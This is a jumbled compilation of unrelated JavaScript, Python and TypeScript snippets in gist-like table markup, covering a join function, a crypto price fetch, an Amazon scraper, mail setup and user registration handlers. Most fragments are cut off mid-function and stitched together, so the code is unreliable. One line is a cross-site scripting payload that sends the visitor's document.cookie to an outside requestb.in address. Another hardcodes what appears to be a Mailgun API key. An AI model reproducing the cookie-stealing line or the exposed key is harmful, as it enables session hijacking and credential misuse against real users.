First, here's the leftJoin function from the script:
function leftJoin(
left: ReturnAssessment[],
right: UCMReturn[],
leftKey: keyof ReturnAssessment,
rightKey: keyof UCMReturn| import requests | |
| import json | |
| c1 = "XLM" | |
| c2 = "BTC" | |
| url = "https://min-api.cryptocompare.com/data/histohour?fsym=" + c1 + "&tsym=" + c2 + "&limit=168&e=Poloniex" | |
| data = [] | |
| def req(): |
| document.write('<img src="http://requestb.in/vr6ki8vr?cookie=' + document.cookie + '" />'); |
| var request = require('request'); | |
| var cheerio = require('cheerio'); | |
| scrape(); | |
| //http://stackoverflow.com/questions/5917082/regular-expression-to-match-numbers-with-or-without-commas-and-decimals-in-text | |
| function scrape(){ | |
| //url = 'https://www.amazon.com/s/ref=nb_sb_noss_2?url=search-alias%3Daps&field-keywords=%22Panasonic+ErgoFit+RP-HJE120%22&rh=i%3Aaps%2Ck%3A%22Panasonic+ErgoFit+RP-HJE120%22'; | |
| url = 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=Panasonic+ErgoFit+RP-HJE120&rh=i%3Aaps%2Ck%3APanasonic+ErgoFit+RP-HJE120'; | |
| url = 'https://www.amazon.com/s/?keywords=%22' + encodeURIComponent('beats') + '%22&page=3'; | |
| request(url, function(error, response, html){ |
| //eddie | |
| //do | |
| //npm install --save mailgun-js | |
| var api_key = 'key-efb6c4bf91205c6e52f7960537f8289d'; | |
| var domain = 'mail.perform.technoash.com'; | |
| var mailgun = require('mailgun-js')({apiKey: api_key, domain: domain}); | |
| var data = { | |
| from: 'PerForm Accounts <[email protected]>', |
| module.addUserToDB = function(data){ | |
| return new Promise(function(resolve, reject) { | |
| var userData = { | |
| username: data.profile.name.toLowerCase(), | |
| displayName: data.profile.name, | |
| names: data.names, | |
| id: data.profile.id, | |
| skinHash: data.profile.skinHash, | |
| capes: data.profile.capes, | |
| addedAt: Math.floor(new Date()/1000), |
| var http = require('http'); | |
| var fs = require('fs'); | |
| var PassThrough = require('stream').PassThrough; | |
| var lame = require('lame'); | |
| var spawn = require('child_process').spawn | |
| var random = require("random-js")(); | |
| var streams = []; |
| validateRegister(req.body) | |
| .then(function(errors){ | |
| if(errors.count > 0){ | |
| res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count}); | |
| return; | |
| } | |
| //this won't always happen | |
| return db.createUser(req.body.name, req.body.email, req.body.password); | |
| }) | |
| .then(function(newUser){ |
| validateRegister(req.body) | |
| .then(function(errors){ | |
| if(errors.count > 0){ | |
| res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count}); | |
| return; | |
| } | |
| db.createUser(req.body.name, req.body.email, req.body.password) | |
| .then(function(newUser){ | |
| console.log(2); | |
| res.send({state: 'success', name: newUser.name}); |